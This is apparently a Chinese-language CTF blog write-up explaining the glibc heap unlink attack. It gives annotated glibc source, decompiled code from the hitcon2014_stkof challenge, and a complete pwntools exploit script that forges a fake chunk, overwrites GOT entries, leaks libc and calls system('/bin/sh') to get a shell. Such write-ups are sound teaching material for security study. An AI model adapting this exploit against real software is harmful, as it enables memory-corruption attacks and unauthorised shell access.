Unlink



概述

unlink简称脱链,利用这个漏洞可以达成任意地址的读写,这个漏洞需要配合offbyone,堆溢等漏洞一起使用。在这里介绍一下unlink的原理。可以看到我们首先有两块被使用chuck,我们把它们设为chuck1和chunk2,如果chuck1存在offbyone,我们便可以修改chuck2的inuse位置为0,同时伪造一个chuck1的子chunk,接下来我们把FD和BK指针分别写成x-0x18&&x-0x10,即可绕过保护,当free2时,chuck1指向x-0x18位置,即可完成任意地址的读写。

/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                                            
    // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    //这里是构造chunk所必须满足的第一个条件。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");              
    FD = P->fd;                                                                      
    BK = P->bk;                                                                      
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {                                                                      
        FD->bk = BK;                                                              
        BK->fd = FD;                                                              
        // 下面主要考虑 P 对应的 nextsize 双向链表的修改
        if (!in_smallbin_range (chunksize_nomask (P))                                         				 	// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
            // 那么其实也就没有必要对 nextsize 字段进行修改了。
            // 这里没有去判断 bk_nextsize 字段,可能会出问题。
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
            // 类似于小的 chunk 的检查思路
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
              malloc_printerr (check_action,                                      
                               "corrupted double-linked list (not small)",    
                               P, AV);                                              
            // 这里说明 P 已经在 nextsize 链表中了。
            // 如果 FD 没有在 nextsize 链表中
            if (FD->fd_nextsize == NULL) {                                      
                // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
                // 令 FD 为 nextsize 串起来的
                if (P->fd_nextsize == P)                                      
                  FD->fd_nextsize = FD->bk_nextsize = FD;                      
                else {                                                              
                // 否则我们需要将 FD 插入到 nextsize 形成的双链表中
                    FD->fd_nextsize = P->fd_nextsize;                              
                    FD->bk_nextsize = P->bk_nextsize;                              
                    P->fd_nextsize->bk_nextsize = FD;                              
                    P->bk_nextsize->fd_nextsize = FD;                              
                  }                                                              
              } else {                                                              
                // 最后将构造的chunk中(*fd)=bk
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
              }                                                                      
          }                                                                      
      }                                                                              
}

实验

背景

这边选用了hitcon2014_stkof作为背景,我们可以看到存在堆溢出的漏洞同时没有开启PIE,于是便符合了我们的攻击条件,我们可以利用unlink的攻击方式获取任意地址读写的权利,我们先申请4块堆块,多申请是为了避免堆块合并的发生接下来我们修改chuck2去达成unlink,接下来修改chuck2的值为free地址,就可以写入puts泄露出libc地址,接下来只要修改为system地址即可getshell。

/*create*/
signed __int64 create()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  S[++dword_602100] = v2;
  printf("%d\n", dword_602100, size);
  return 0LL;
}
/*edit*/
fgets(&s, 16, stdin);
  n = atoll(&s);
  ptr = S[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }

EXP

from pwn import *
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'
debug = 1
if debug==1:
    io = process("./stkof")
else:
    io = remote("node4.buuoj.cn",28210)

def create(size):
    io.sendline("1")
    io.sendline(str(size))
    io.recvuntil("OK")

def edit(index,size,content):
    io.sendline("2")
    io.sendline(str(index))
    io.sendline(str(size))
    io.send(content)

def free(index):
    io.sendline("3")
    io.sendline(str(index))
    io.recvuntil("OK")


ptr = 0x0602150
free_got = elf.got["free"]
puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
atoi_got = elf.got['atoi']

create(0x80)    #1 puts
create(0x30)    #2 puts
create(0x80)    #3 free
create(0x80)    #4
FD = ptr-0x18
BK = ptr-0x10
payload = p64(0)+p64(0x31)+p64(FD)+p64(BK)
payload+= b'A'*0x10+p64(0x30)+p64(0x90)
edit(2,0x40,payload)
free(3)
payload = p64(0)+p64(atoi_got)+p64(puts_got)+p64(free_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(2,len(payload),payload)
free(1)
addre = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addre------>"+hex(addre))
system = addre-libc.symbols['puts']+libc.symbols['system']
print("puts_addre------>"+hex(system))
#gdb.attach(io)
edit(2,0x08,p64(system))
edit(4,0x08,b'/bin/sh\x00')
io.sendline('3')
io.sendline(str(4))
io.interactive()            


文章作者: Dydong
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Dydong !
  目录